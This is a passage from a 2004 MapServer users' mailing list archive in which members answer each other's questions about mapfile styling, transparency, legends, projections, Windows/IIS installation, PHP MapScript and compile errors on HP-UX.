9yiUSiUSiUSiUSiUSiUSiURIU5lEolEolEolEolEolEolEoletj8p/5f/8QAKBABAAICAgICAQMF AQAAAAAAAQARITEQIEFRMGHwcYHxQFCRscGh/9oACAEDAAE/EP6NhvPHjg4srg3n4GvHzUlJY6jj D8x0cS3D8qZolMeIjQ/mItFSirly/mFlRRPC/GWuX4gWYjKa63L+QUynD8DqAuofcrMog4zHWSYN Q38Fwb7vCWUxRKIN9tJpUauZupVwmJiGzEMHwm3kejzSksVBEC8C4+vFcEeYNbjuIwNw0MFNTBr1 0y6h0PfJ0eKYuKJhKYs4GbgPc/XP1xHUWn3RVj8rE2I15/CeT1KJTwvjkLlcVWOTowMXxfuYl1qW bTyESuwXBQCI0Q0sXHBiWlW8B5YvPpydGYrrcuKO59YuJXFQwYILM7hq2Oq6qk31fcBddWDUSvgG G6qW1KWZeuGFBLF4mwlSnlvT2wmYsvpWLl+viuBQYbbhAJrMGYkD6/5F/H7c37lhn4TpenyJ4mso YCKIYgeIlfKdKiV8Qe4WcTLHmaRQIwHG6O/j88HRg4piV8KqkLCBQXFRhn6LBKkW20eR+DDPB0eL TUTF91DcbVxlzEXX+Pz9o2KmOcCrUsl4hUr18LqGodHgCgxb6jHBcry8Vg/cEMvEI5TGsYC/w4Xg lXk+Gq1BHo8VXbRA8vFVuGvqGqqUWO8P5lAMMkXkaifCGTo8ZZ7BYPiUG2FC+Nfu/wBfzN5lgxDR Z4P9RVKZVZmWeg1LPMWtS5d7iVjp56KG5WaY9mooaiqqXbRGAD1+f8i+IbX1Ej7ubLhiWOPgC0It 9KenhAWFBfSpb1EEvJB3KqmbiOIwgfn8RxhmlHJT3pZeolc7F9UPXAvExMepiXKHUfKHmYQs2wpT Fd+oqJ+n5/7Bs/SGul/UW+yViIm+NFS+jxXJfjlI2Rv4i3mpabXLYNQo1FHB1MlQem3AzWeDqLuU vHQZU1w4K4NwxuDm4lY5qWm9cjWZV5hrmo5eNnB0YNRK6GIU5lO2Yl+pbD32C06DUxEgZm+myHR4 8c1xin9vz/EW+h3FNdR8Qsx1NNTT0eBqYhUGYlY6s++pKZRMRA1yK67D0q+4Bh9f8xErra89Ro6G TkabgtZ1Dz1csYmzqoJaSyUSoeXULYqueg1mJWHmrJ9p9IibIYfSXfYXARq8cFdeottwyc1TZATE r1NQPcuadVKTXFsFPA1qXo+/9Sqa6XUuHsiLLcJMkv6l+DpXIs30tqpbLeAs/TgMZ0Rb58QXXRgn nUIQSgYm44K/oiBRC3vlwRxj6h0eU1BSCeZbHavlvEr1yllSlLlJvo5/sYDt/qgLT/a//9k= ------=_NextPart_000_005B_01C43E8C.88CD3570-- From dmi at webmail.co.za Thu May 20 08:04:58 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 17:04:58 +0200 Subject: [Mapserver-users] Win Xp mapserver problem References: <20040520112807.BDF9F396F@sitemail.everyone.net> Message-ID: <008d01c43e7c$50ccc380$ea271ec4@SCOTTA> > Hello, > > I am facing a problem for a few days. I tried to install mapserver > 4.0.1 in Windows XP. I did the following: > > # Copy mapserv.exe to Scripts directory > # Copy 'Proj' directory under C:/ > # Copy the contents of the 'lib' directory to C:/windows/system32 and > "C:/windows". > > But while I test by writing http://IP/Scripts/mapserv.exe > It gives me Http 404 Page not found error messege. Can anybody give > me any suggestions. > > Samuzzal What web server are you using IIS or Apache. If IIS don't forget to create a virtual directory called scripts and make sure you have execute permissions on. Scott From eric at gomoos.org Thu May 20 08:19:20 2004 From: eric at gomoos.org (Eric Bridger) Date: Thu, 20 May 2004 11:19:20 -0400 Subject: [Mapserver-users] This should be easy but.. In-Reply-To: <40ACBF7A.5000409@tamu.edu> Message-ID: <4.3.2.7.2.20040520111754.00ac1860@mail.gomoos.org> At 09:23 AM 05/20/2004 -0500, Gerry Creager N5JXS wrote: >I'm strapped for time. Per a recent suggestion, I'm creating 2 layer instances for some polygons. The fill polygon needs to be semitransparent while the outline later needs to be opaque. OK, I can handle this. > >How can I keep one of the 2 from automagically appearing in the legend? > >I know it's gotta be easy... > >Thanks, Gerry Removing the NAME from a CLASS prevents it appearing in the legend. AFAIK the CLASS NAME is used for no other purpose. Eric From sgillies at frii.com Thu May 20 08:12:01 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 20 May 2004 09:12:01 -0600 Subject: [Mapserver-users] This should be easy but.. In-Reply-To: <40ACBF7A.5000409@tamu.edu> References: <40ACBF7A.5000409@tamu.edu> Message-ID: <0BBD46AA-AA70-11D8-9E4A-000D9329D732@frii.com> On May 20, 2004, at 8:23 AM, Gerry Creager N5JXS wrote: > I'm strapped for time. Per a recent suggestion, I'm creating 2 layer > instances for some polygons. The fill polygon needs to be > semitransparent while the outline later needs to be opaque. OK, I can > handle this. > > How can I keep one of the 2 from automagically appearing in the legend? > > I know it's gotta be easy... > > Thanks, Gerry Gerry, Omit class names for the layer you want to be omitted from the legend. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From fiorea at comune.lugo.ra.it Thu May 20 08:13:37 2004 From: fiorea at comune.lugo.ra.it (Fiore Alberto) Date: Thu, 20 May 2004 17:13:37 +0200 Subject: [Mapserver-users] Fill Polygons In-Reply-To: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> Message-ID: <000201c43e7d$07688160$e61410ac@comune.lugo.ra.it> Yes, in the map file you have to delete COLOR and define only OUTLINE COLOR with the RBG parameters for the border of polygon example STYLE SYMBOL 0 OUTLINECOLOR 137 30 160 SIZE 5 MINSIZE 1 MAXSIZE 10 END Alberto F. >Can I make the fill color of polygons transparent, ie: able to see layers >underneath? Thanks Scott _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From edspremolla at Antel.com.uy Thu May 20 08:16:49 2004 From: edspremolla at Antel.com.uy (Eduardo Spremolla) Date: Thu, 20 May 2004 12:16:49 -0300 Subject: [Mapserver-users] Fill Polygons In-Reply-To: <40ACA3BC.9020909@magma.ca> References: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> <40ACA3BC.9020909@magma.ca> Message-ID: <1085066209.25902.9.camel@fly.in.iantel.com.uy> You can define the layer as LINES even if the data are polys. LALO El jue, 20-05-2004 a las 09:25, Paul Spencer escribi??: > Note that this makes the entire layer transparent, including polygon > outlines. If you want solid outlines and tranparent fills, you will > need two separate layers. > > Paul > > Bart van den Eijnden wrote: > > Hi, > > > > you can use TRANSPARENCY for this, see: > > > > http://mapserver.gis.umn.edu/doc40/mapfile-reference.html > > > > TRANSPARENCY [integer] > > Sets the transparency level of all classed pixels for a given layer. The > > value is a percentage (0-100) where 100 is opaque and 0 is fully > > transparent. > > > > Best regards, > > Bart > > > > On Thu, 20 May 2004 13:19:47 +0200, Scott Ainslie > > wrote: > > > >> Can I make the fill color of polygons transparent, ie: able to see layers > >> underneath? > >> > >> Thanks > >> Scott > >> > >> _______________________________________________ > >> Mapserver-users mailing list > >> Mapserver-users at lists.gis.umn.edu > >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >> > > > > > > -- Eduardo Spremolla Antel I+D From noti at ciaoweb.it Thu May 20 08:52:19 2004 From: noti at ciaoweb.it (Geoprogetti Informatica) Date: Thu, 20 May 2004 17:52:19 +0200 Subject: [Mapserver-users] php_mapscript401 doesn't display points Message-ID: <001f01c43e82$8500f6c0$0301a8c0@valerion> Hi all, I updated my application from php_mapscript366 to php_mapscript401 in win2000 server (IIS5). 401 version doesn't display point shapefile. When I set the reference to 366 version in my code, the point shapefile returns in the map. Lines and polygons seem to work fine with both versions. This is the mapfile: MAP NAME "test" STATUS ON #EXTENT 1316000 4034000 2310000 5241000 EXTENT 1552554 4673500 1773000 4929127 SIZE 600 600 FONTSET fontset.txt SHAPEPATH "shape" IMAGECOLOR 255 255 255 UNITS METERS SYMBOLSET symbol.sym #IMAGETYPE PNG WEB HEADER toscana_header.html TEMPLATE query.phtml FOOTER toscana_footer.html MINSCALE 10 MAXSCALE 8500000 IMAGEPATH "C:\inetpub\wwwroot\tmp\" IMAGEURL "/tmp/" END REFERENCE STATUS ON IMAGE "ref.gif" SIZE 120 126 EXTENT 1313238 4072162 2312138 5220403 COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END SCALEBAR LABEL COLOR 0 0 0 END STYLE 0 SIZE 100 2 BACKGROUNDCOLOR 200 200 200 COLOR 0 0 0 UNITS METERS INTERVALS 1 TRANSPARENT FALSE STATUS TRUE IMAGECOLOR 255 255 221 END QUERYMAP COLOR 255 255 0 STATUS ON STYLE HILITE END LAYER NAME "" GROUP "test" TYPE POINT STATUS On DATA 'test' CLASSITEM 'Name' TEMPLATE "ttt.html" CLASS NAME "pp" EXPRESSION /./ SYMBOL 'test' SIZE 12 END END END and this is the symbol.sym file: .... SYMBOL TYPE pixmap IMAGE images/test.gif NAME "test" TRANSPARENT 100 END .... Any help appreciated Thanks Valerio From Zamil.Murji at divestco.com Thu May 20 09:15:52 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Thu, 20 May 2004 10:15:52 -0600 Subject: [Mapserver-users] EPSG codes Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF3E@DIV-MX02.divestco> Hello list, I am very new to epsg codes and I'm having some difficulty finding the correct code to use. Currently I am using a 4269 to show all of canada, however, this makes everything look so disproportionate. I am looking to use the lambert conical or lambert cylindrical codes, but I can't find them anywhere. Ideally I would like to use the same projection as the gmap application on the dmsolutions website. Thanks in advance, Zamil From spencer at dmsolutions.ca Thu May 20 09:19:06 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Thu, 20 May 2004 12:19:06 -0400 Subject: [Mapserver-users] Fill Polygons In-Reply-To: <1085066209.25902.9.camel@fly.in.iantel.com.uy> References: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> <40ACA3BC.9020909@magma.ca> <1085066209.25902.9.camel@fly.in.iantel.com.uy> Message-ID: <40ACDA7A.8070800@magma.ca> I should clarify my comment to say that if you want to make a layer 25% transparent but still have solid outline, you need two layers. If you are happy with the outlines being 25% transparent, then you only need one layer. If you want no fill at all, just outlines, then you should omit the TRANSPARENCY keyword and use either OUTLINECOLOR (on polygon layers) or COLOR (on line layers) Paul Eduardo Spremolla wrote: > You can define the layer as LINES even if the data are polys. > > LALO > > El jue, 20-05-2004 a las 09:25, Paul Spencer escribi??: > >>Note that this makes the entire layer transparent, including polygon >>outlines. If you want solid outlines and tranparent fills, you will >>need two separate layers. >> >>Paul >> >>Bart van den Eijnden wrote: >> >>>Hi, >>> >>>you can use TRANSPARENCY for this, see: >>> >>>http://mapserver.gis.umn.edu/doc40/mapfile-reference.html >>> >>>TRANSPARENCY [integer] >>>Sets the transparency level of all classed pixels for a given layer. The >>>value is a percentage (0-100) where 100 is opaque and 0 is fully >>>transparent. >>> >>>Best regards, >>>Bart >>> >>>On Thu, 20 May 2004 13:19:47 +0200, Scott Ainslie >>>wrote: >>> >>> >>>>Can I make the fill color of polygons transparent, ie: able to see layers >>>>underneath? >>>> >>>>Thanks >>>>Scott >>>> >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>> >>> >>> -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From Christopher.Dimeo at maine.gov Thu May 20 09:32:53 2004 From: Christopher.Dimeo at maine.gov (Dimeo, Christopher) Date: Thu, 20 May 2004 12:32:53 -0400 Subject: [Mapserver-users] EPSG codes Message-ID: Don't know if this will help, but the database (Access) containing all the information behind the projections/coordinate systems can be found at the EPSG site: http://www.epsg.org/ c -----Original Message----- From: Zamil Murji [mailto:Zamil.Murji at divestco.com] Sent: Thursday, May 20, 2004 12:16 PM To: mapserver Subject: [Mapserver-users] EPSG codes Hello list, I am very new to epsg codes and I'm having some difficulty finding the correct code to use. Currently I am using a 4269 to show all of canada, however, this makes everything look so disproportionate. I am looking to use the lambert conical or lambert cylindrical codes, but I can't find them anywhere. Ideally I would like to use the same projection as the gmap application on the dmsolutions website. Thanks in advance, Zamil _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric at gomoos.org Thu May 20 10:10:30 2004 From: eric at gomoos.org (Eric Bridger) Date: Thu, 20 May 2004 13:10:30 -0400 Subject: [Mapserver-users] php_mapscript401 doesn't display points In-Reply-To: <001f01c43e82$8500f6c0$0301a8c0@valerion> Message-ID: <4.3.2.7.2.20040520130851.00adb800@mail.gomoos.org> At 05:52 PM 05/20/2004 +0200, Geoprogetti Informatica wrote: >Hi all, >I updated my application from php_mapscript366 to php_mapscript401 in >win2000 server (IIS5). >401 version doesn't display point shapefile. When I set the reference to 366 >version in my code, the point >shapefile returns in the map. Lines and polygons seem to work fine with both >versions. > >This is the mapfile: > >MAP > NAME "test" > STATUS ON > #EXTENT 1316000 4034000 2310000 5241000 > EXTENT 1552554 4673500 1773000 4929127 > SIZE 600 600 > FONTSET fontset.txt > SHAPEPATH "shape" > IMAGECOLOR 255 255 255 > UNITS METERS > SYMBOLSET symbol.sym >#IMAGETYPE PNG > WEB > HEADER toscana_header.html > TEMPLATE query.phtml > FOOTER toscana_footer.html > MINSCALE 10 > MAXSCALE 8500000 > IMAGEPATH "C:\inetpub\wwwroot\tmp\" > IMAGEURL "/tmp/" > END >REFERENCE > STATUS ON > IMAGE "ref.gif" > SIZE 120 126 > EXTENT 1313238 4072162 2312138 5220403 > COLOR -1 -1 -1 > OUTLINECOLOR 255 0 0 >END >SCALEBAR > LABEL > COLOR 0 0 0 > END > STYLE 0 > SIZE 100 2 > BACKGROUNDCOLOR 200 200 200 > COLOR 0 0 0 > UNITS METERS > INTERVALS 1 > TRANSPARENT FALSE > STATUS TRUE > IMAGECOLOR 255 255 221 >END >QUERYMAP > COLOR 255 255 0 > STATUS ON > STYLE HILITE >END > >LAYER > NAME "" > GROUP "test" > TYPE POINT > STATUS On > DATA 'test' > CLASSITEM 'Name' > TEMPLATE "ttt.html" > CLASS > NAME "pp" > EXPRESSION /./ > SYMBOL 'test' > SIZE 12 > END >END > >END Try adding a STYLE to your CLASS object: CLASS NAME "pp" EXPRESSION /./ STYLE SYMBOL "test" SIZE 12 END END From qoelhex at cttmar.univali.br Thu May 20 11:51:03 2004 From: qoelhex at cttmar.univali.br (FABIO COELHO) Date: Thu, 20 May 2004 15:51:03 -0300 Subject: [Mapserver-users] Shp2Img gmake Error - Adding info - New Direction Message-ID: <1085079063.40acfe1737a33@webmail.cttmar.univali.br> Frank wrote for my desperate Soul: > qoelheX, > > This indicates there is no implementation of the code in mapthread.c is found. > Assuming that mapthread.o *is* being linked in, my guess would be that > the "unix" macro is not defined. If this happens no implementation will > be compiled. So, this was the problem, mapthread.o! I went to check your generation, and despite it being generated, it was generated against the wrong thread libs! So I remove the absolute references for pthread and let the SO manage this! Thank you by the help! Tanks a lot by qoelheX PS: I got a new error, but I'll post in another thread for clarity. :D ------------------------------------------------ Este e-mail foi enviado pelo webmail do curso de Ci?ncia da Computa??o - UNIVALI From qoelhex at cttmar.univali.br Thu May 20 12:07:13 2004 From: qoelhex at cttmar.univali.br (FABIO COELHO) Date: Thu, 20 May 2004 16:07:13 -0300 Subject: [Mapserver-users] PHP-Mapscript - Compilation error and warnings - HP UX Message-ID: <1085080033.40ad01e113034@webmail.cttmar.univali.br> So, I'm here again I'm compiling mapserver for a HP-UX ( and was noticed that can all changed for AIX, in a week, oh dear god of Nerds , help me ! ! ! ). Well, I got this warnings compiling mapserver: ---------------------------------------------------------------------------- > gcc -fPIC -O2 -Wall -DCOMPILE_DL=1 -DPHP4 -DUSE_WMS_SVR -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_EPPL -DUSE_TIFF -DUSE_PDF -DUSE_GD_PNG -DUSE_GD_JPEG > -DUSE_GD_WBMP -DUSE_GD_FT -I/usr/desen/cunivali/Tar/mapserver-4.0.2 > -I/opt/univali/include -I/opt/univali/include > -I/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib > -I/opt/univali/include -I/usr/desen/cunivali/Tar/php-4.3.4/ > -I/usr/desen/cunivali/Tar/php-4.3.4//dl > > -I/usr/desen/cunivali/Tar/php-4.3.4//main > -I/usr/desen/cunivali/Tar/php-4.3.4//Zend > -I/usr/desen/cunivali/Tar/php-4.3.4//include > -I/usr/desen/cunivali/Tar/php-4.3.4//TSRM -c -o php_mapscript_util.o > php_mapscript_util.c > php_mapscript_util.c: In function `_phpms_fetch_handle2': > php_mapscript_util.c:147: warning: dereferencing type-punned pointer will > break strict-aliasing rules ------------------------------------------------------------------------------ A lot of these, for many other functions in php_mapscript_util, and after came an error: ------------------------------------------------------------------------------ > g++ -shared -o php_mapscript.so php_mapscript_util.o php_mapscript.o > mapscript_i.o -L/usr/desen/cunivali/Tar/mapserver-4.0.2 -lmap > -L/opt/univali/lib -lproj -L/opt/univali/lib -ltiff -L/opt/univali/lib -Wl,+b > -Wl,/opt/univali/lib -lfreetype -lpng -L/opt/univali/lib -lz > -L/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib/lib -lpdf > -L/opt/univali/lib -lgd -L/opt/univali/lib -Wl,+b -Wl,/opt/univali/lib > -lfreetype -lpng -L/opt/univali/lib -lz -lm > /usr/ccs/bin/ld: Invalid loader fixup in text space needed in output file for > symbol "zcalloc" in input file "/opt/univali/lib/libz.a(deflate.o)" > collect2: ld returned 1 exit status > gmake[1]: *** [php_mapscript.so] Error 1 ------------------------------------------------------------------------------ I'm using this configure: ------------------------------------------------------------------------------ > LDFLAGS=-lstdc++ ./configure --prefix=/opt/univali/mapserver > --with-zlib=/opt/univali/lib --with-freetype=/opt/univali --with-libiconv > --with-gd=/opt/univali > --with-pdf=/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib > --with-curl-config=/opt/univali/bin/curl-config > --with-php=/usr/desen/cunivali/Tar/php-4.3.4/ --with-proj=/opt/univali > --with-tiff=/opt/univali > --with-httpd=/ias/app/oracle/product/1.0.2/Apache/Apache/bin/httpd > --libdir=/opt/univali/lib --with-thread ------------------------------------------------------------------------------ I need some light, it's a configure error or I'll need make changes on the code? Regards by qoelheX ------------------------------------------------ Este e-mail foi enviado pelo webmail do curso de Ci?ncia da Computa??o - UNIVALI From Vincent.Troisi at colorado.edu Thu May 20 13:00:57 2004 From: Vincent.Troisi at colorado.edu (Vincent J. Troisi) Date: Thu, 20 May 2004 14:00:57 -0600 Subject: [Mapserver-users] List of mapservers Message-ID: <40AD0E79.3060000@colorado.edu> Does anyone know if a list of mapservers exists anywhere? I'd like the list to contain the information/capabilities (or the cgi script used to obtain the capabilities) for each of the respective servers. From TMitchell at lignum.com Thu May 20 13:29:17 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 20 May 2004 13:29:17 -0700 Subject: [Mapserver-users] List of mapservers In-Reply-To: <40AD0E79.3060000@colorado.edu> Message-ID: I guess that the gallery on the mapserver web page isn't all you want is it? Are you only looking for publicly accessible services that you want to access yourself or are you just interested in getting an idea of what people are doing? Not all (most?) mapservers running have web services like WMS/WFS running and therefore will not have anything like a public capabilities list. But if you'd like to know what capabilities folks' mapserver apps have, then folks on the would probably be glad to share that info with you. I guess the question is what do you mean by "capabilities" - in a general sense (i.e. can read in certain data formats) or in a web services sense (i.e. an XML document describing all the layers in a WMS configuration). Hope that helps get you some info. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/20/2004 01:00:57 PM: > Does anyone know if a list of mapservers exists anywhere? I'd like > the list to contain the information/capabilities (or the cgi > script used to obtain the capabilities) for each of the > respective servers. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From phatsbbnlist at twcny.rr.com Thu May 20 13:55:08 2004 From: phatsbbnlist at twcny.rr.com (mapguy) Date: Thu, 20 May 2004 16:55:08 -0400 Subject: [Mapserver-users] List of mapservers References: <40AD0E79.3060000@colorado.edu> Message-ID: <40AD1B2C.6010700@twcny.rr.com> A question on TRANSFORM and related matters. ALL files verified as much as possible (`gdalinfo`, `ogrinfo` , GIS, etc): I have some "init=epsg:26918" (UTM 18N GRS80 NAD83) rasters in a tile and some "proj=latlong" ( decimal degree ... derived from UTM NAD 83 GRS80 I believe the metadata implies) data in a line shapefile. They plot perfectly. I have "init=epsg:32115" (New York State Plane, Transverse Merc with false northings and eastings) rasters in a tile and the same shapefile as above, both in its original projection and in a state plane conversion using ogr2ogr. Things don't seem so perfect. The shape file is roughly 1/4 the size and 150 miles or so SW (3 region diameters essentially) of the place and size it should be, i.e. surrounding the tiled state plane rasters, and the associated quadrangle lines from plotting the tileindex shapefile as a vector layer. Either projection of the shape file works if I set the projection parameters correctly in the map file. Either disappears if I set the wrong projection. the TRANSFORM doesn't seem to matter (though the online docs mention both "ON/OFF" and "TRUE/FALSE" in different places, and I tried both) Is there a reasonable explanation as to why these files are plotting this way? I mean, do false northings and eastings have to be added as PROJECTION block params, or something like that? Does/How does TRANSFORM work "on the fly", i.e. is there more to it than NOT putting TRANSFORM FALSE/OFF in a layer? From TMitchell at lignum.com Thu May 20 14:23:55 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 20 May 2004 14:23:55 -0700 Subject: [Mapserver-users] Re: TRANSFORM question Message-ID: Just noticed you probably meant to change the subject, mapguy. So I'm reposting this for you. mapguy wrote on 05/20/2004 01:55:08 PM: > A question on TRANSFORM and related matters. ALL files verified as much > as possible (`gdalinfo`, `ogrinfo` , GIS, etc): > > I have some "init=epsg:26918" (UTM 18N GRS80 NAD83) rasters in a tile > and some "proj=latlong" ( decimal degree ... derived from UTM NAD 83 > GRS80 I believe the metadata implies) data in a line shapefile. They > plot perfectly. > > I have "init=epsg:32115" (New York State Plane, Transverse Merc with > false northings and eastings) rasters in a tile and the same shapefile > as above, both in its original projection and in a state plane > conversion using ogr2ogr. Things don't seem so perfect. > > The shape file is roughly 1/4 the size and 150 miles or so SW (3 region > diameters essentially) of the place and size it should be, i.e. > surrounding the tiled state plane rasters, and the associated quadrangle > lines from plotting the tileindex shapefile as a vector layer. Either > projection of the shape file works if I set the projection parameters > correctly in the map file. Either disappears if I set the wrong projection. > > the TRANSFORM doesn't seem to matter (though the online docs mention > both "ON/OFF" and "TRUE/FALSE" in different places, and I tried both) > > Is there a reasonable explanation as to why these files are plotting > this way? I mean, do false northings and eastings have to be added as > PROJECTION block params, or something like that? Does/How does TRANSFORM > work "on the fly", i.e. is there more to it than NOT putting TRANSFORM > FALSE/OFF in a layer? From marcelito20 at hotmail.com Thu May 20 16:44:46 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Thu, 20 May 2004 18:44:46 -0500 Subject: [Mapserver-users] SHOWING MapInfo's TAB VIA OGR Message-ID: <40AD42EE.000003.03344@BECARIO1> --------------Boundary-00=_MYD1G6G0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_MYD1BHK0000000000000" --------------Boundary-00=_MYD1BHK0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi MapUsers:=0D =0D I'm having trouble showing some MapInfo's .TAB's with mapserver via OGR, here's a part of my mapfile:=0D =0D LAYER=0D NAME "CALLES"=0D GROUP "Ciudad"=0D STATUS ON=0D #DATA "CALLES_84_3_text"=0D CONNECTIONTYPE OGR=0D CONNECTION "./data/CALLES_84_3.tab"=0D TYPE ANNOTATION=0D UNITS METERS=0D SIZEUNITS METERS=0D MINSCALE 1000=0D MAXSCALE 100000=0D LABELITEM Textstring=0D LABELANGLEITEM Text_angle=0D LABELSIZEITEM Text_size=0D TOLERANCE 10=0D TOLERANCEUNITS PIXELS=0D CLASS=0D LABEL=0D TYPE BITMAP=0D POSITION LR=0D SIZE TINY=0D COLOR 10 155 95=0D END=0D STYLE=0D SYMBOL "CIRCLE"=0D SIZE 5=0D COLOR 255 100 51=0D END=0D END=0D END=0D =0D What is wrong?, could someone tell me, please?=0D Thanks --------------Boundary-00=_MYD1BHK0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi MapUsers:
 
I'm having trouble showing some MapInfo's .TAB's with mapserver via = OGR, here's a part of my mapfile:
 
 LAYER
    NAME "CALLES"
   = ; GROUP "Ciudad"
    STATUS ON
    #D= ATA "CALLES_84_3_text"
 CONNECTIONTYPE OGR
 CONNECTION ".= /data/CALLES_84_3.tab"
    TYPE ANNOTATION
 UNI= TS METERS
    SIZEUNITS METERS
    MI= NSCALE 1000
    MAXSCALE 100000
    L= ABELITEM Textstring
    LABELANGLEITEM Text_angle
&n= bsp;LABELSIZEITEM Text_size
    TOLERANCE 10
 &= nbsp;  TOLERANCEUNITS PIXELS
    CLASS
 &n= bsp;    LABEL
       = ; TYPE BITMAP
        POSITION LR  SIZE TINY
        COL= OR 10 155 95
      END
   &= nbsp;  STYLE
        SYMBOL "C= IRCLE"
    SIZE 5
     &nbs= p;  COLOR 255 100 51
      END
 =    END
  END
 
What is wrong?, could someone tell me, please?
Thanks
______________________= ___________________________________________
3D""  IncrediMail = - El Email ha evolucionado finalmente - Haga clic aqu=ED
--------------Boundary-00=_MYD1BHK0000000000000-- --------------Boundary-00=_MYD1G6G0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: <8D73B370-AA27-46F2-854E-A08061BDE6AF> R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_MYD1G6G0000000000000 Content-Type: Image/gif; name="BackGrnd.gif" Content-ID: <61251D57-43D8-4177-986E-AB5AE3D10340> Content-Transfer-Encoding: base64 R0lGODlhIAMXAJEAAOPjv/LyzurKuAAAACwAAAAAIAMXAAAC/4SPqcsm0qKctNqLs968+w+G4kiW 5omm6sq27ls98EzX9o3n+s73/g98BYbEovGITA4fyqbzCY1Kp9Sq9YrNarfcrvcLDovH5LL5jE6r 11Em+w2Py+f0uv2Oz+v3/D7W7RcoOEhYaHiImKi4OAfI+AgZKTlJWWl5OeiIucnZ6fkJGipKpzlq eoqaqrrKSljaChsrO0tbK/tqm6u7y9vra4f7KzxMXGxsHHysvMzc7HyZ/Cw9TV1tzRZ9rb3N3e1d lP0tPk5evhtunq6+zr6J3g4fLz+/905/j5+v/2W/7/8PMOASAQILGjz4rx/ChQwbSlPoMKLEiecI UryIMSOjAgA7 --------------Boundary-00=_MYD1G6G0000000000000-- From r0ss at shaw.ca Thu May 20 20:05:04 2004 From: r0ss at shaw.ca (ross s) Date: Thu, 20 May 2004 21:05:04 -0600 Subject: [Mapserver-users] Install help on Win 2000 Server with IIS Message-ID: Hi, I feel like a bozo for having to ask this but I am totally lost with setting up MapServer for IIS - the instructions are not all in one place. I am running Windows 2000 Server with IIS. I followed the install instructions to a "T" but the MapServer demo does not work. This is what I have done 1. Copied mapserv.exe to "C:\Inetpub\Scripts" 2. Copied directory "Proj" to "C:\" 3. Copied the files in directory "lib" to C:\WINNT 4. Test MapServer with http://localhost/scripts/mapserv.exe? and I receive the message No query information to decode. QUERY_STRING not set. which is good 5. Downloaded A copy of the MapServer Demo and unzipped it into C:\Inetpub\wwwroot\workshop 6. Modified the index.html parameters to show my configuration or what I believe is my configuration
7. Ran the index page and called one of the demos and the map image does not appear in the resulting page just the little x indicating that it could not find the image Anyone have any ideas on what configuration or installation steps I missed or how I can resolve my prolems. Or more importantly does anyone have an all encompassing install and setup instructions for IIS? Thanks in advance and hope some out there can help. Ross From jclabaugh at mac.com Thu May 20 21:16:21 2004 From: jclabaugh at mac.com (Jerod Clabaugh) Date: Thu, 20 May 2004 22:16:21 -0600 Subject: [Mapserver-users] Printing Template w/ MapServer Message-ID: Hi: I am trying to develop a template to allow the user to print the current view of a map, with the legend, all selected layers, scalebar etc. I tried to mimic the print function from the MN DNR Recreational Compass site (http://www.dnr.state.mn.us/maps/compass.html) by picking through the source code (http://maps.dnr.state.mn.us/compass/view_print.html). Does anyone know an easy way to pass the existing map, legend and scalebar from a mapserver page to another page without using a scripting language such as PHP. I am passing this URL string: Print Map View to the print.html page with the following code in it:




Map Parameters (UTM Zone 16, NAD27)
minx: [minx]
maxx: [maxx]
miny: [miny]
